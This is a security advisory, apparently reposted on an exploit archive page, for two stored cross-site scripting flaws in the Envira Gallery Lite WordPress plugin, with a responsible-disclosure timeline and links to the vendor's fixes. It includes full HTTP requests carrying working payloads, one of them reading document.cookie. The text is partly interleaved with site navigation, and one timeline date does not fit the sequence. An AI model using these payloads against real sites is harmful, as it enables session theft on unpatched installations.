Envira Gallery Lite 1.8.3.2 Cross Site Scripting

Authored by Rodolfo Tavares | Site tempest.com.br

Posted Jan 13, 2021

Envira Gallery Lite edition version 1.8.3.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2020-35581, CVE-2020-35582
SHA-256 | 9dbf149ef3ee66457f73ea7147ed74161ff3ef6881909b863f14b4bf54649b7c Download | Favorite | View

Related Files

Change Mirror Download

```
==== [Tempest Security Intelligence - ADV-12/2020]
==============================

Envira Gallery - Lite Edition - Version 1.8.3.2
Author: Rodolfo Tavares
Tempest Security Intelligence - Recife, Pernambuco - Brazil


===== [Table of Contents] ================================================
    • Overview
    • Detailed description
    • Disclosure timeline
    • Acknowledgements
    • References


===== [Vulnerability Information]
============================================
Category: Improper Neutralization of an Input while Generating a Web Page.

('Cross-site Scripting') [CWE-79]
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N


===== [Overview] ========================================================
Affected system: Envira Gallery - Lite Edition
Software version: Lite - 1.8.3.2
Impacts: The browser of the end-user doesn't have a way to know whether the
script should be trusted or not, and ends up executing it. Since the
browser believes that the script is from a trusted source, it can access
any cookies, session tokens, and other sensitive information that is
retained by the browser and used on the website. The script can also be
used to redirect the victim into a malicious website, in order to perform a
phishing attack or steal information.


==== [Detailed description] ==============================================
Envira Gallery Lite Edition - Version 1.8.3.2 is vulnerable to an XSS that
is stored through the meta[title] parameter and a second XSS, which is
stored through the post_title parameter.



[1]- XSS located at http://localhost:8080/wp-admin/post.php and stored
through the post_title parameter:
To exploit the XSS through POST, insert a single char in the endpoint
post.php and in the parameter post_title, then close the current by
including a javascript payload. As showed on the example bellow:


POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101
Firefox/83.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1771
Origin: http://localhost:8080
Connection: close
Cookie: [cookies]
_wpnonce=2671a27a51&_wp_http_referer=/wp-admin/post.php?
post=2933&action=edit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=envira&original_
http://localhost:8080/wp-admin/edit.php?post_type=envira&_wp_original_http_referer=http://localhost:8080/wp-
admin/edit.php?post_type=envira&post_ID=2933&meta-box-order-
nonce=3751b8aa86&closedpostboxesnonce=d58bcab0d3&post_title=nf3
"onfocus="alert(2)"autofocus="n3fx8&samplepermalinknonce=24f9403378&hidden_post_status=publish&post_status=publ
upload=&post_id=2933&envira-gallery=031bef86cc&_wp_http_referer=/wp-admin/post.php?
post=2933&action=edit&_envira_gallery[type_default]=1&_envira_gallery[columns]=0&_envira_gallery[lazy_loading]=
the-gallery-title&_envira_gallery[classes]=




[2]- XSS stored at [/wp-admin/admin-ajax.php]
To exploit the XSS through POST, insert a single char in the endpoint
wp-admin/admin-ajax.php and in the parameter meta[title], close the current
one by inserting a double quote ("), and then insert a javascript payload.
As showed on the example bellow:


POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101
Firefox/83.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/post.php?post=2931&action=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 541
Origin: http://localhost:8080
Connection: close
Cookie: [cookies]
nonce=bb7f61ad8e&post_id=2931&attach_id=2937&meta[id]=2937&meta[title]=bug"onmousemove="alert(document.cookie)&r


==== [Disclosure timeline] ===============================================
17/Dez/2020 - Initiated the responsible disclosure with the vendor.
17/Dez/2020 - Envira Gallery confirmed the issue.
18/Dez/2020 - The vendor fixed the vulnerability on the first XSS.
19/Dez/2020 - The vendor fixed the vulnerability on the second XSS.
22/May/2020 - CVEs were assigned and reserved as CVE-2020-35581,
CVE-2020-35582


=====[Acknowledgements]========================================== ========
Tempest Security Intelligence [5]


==== [References] ========================================================
[1][ https://cwe.mitre.org/data/definitions/79.html
[2][
https://github.com/enviragallery/envira-gallery-lite/commit/3b081dd10a1731f8cd981bebeac0e775fb217acf
]
[4][
https://github.com/enviragallery/envira-gallery-lite/commit/102651514e6faca914ec1c7e113def340d8e1e09
]
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

```
[5][ https://www.tempest.com.br
==== [EOF] ============================================================

--
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed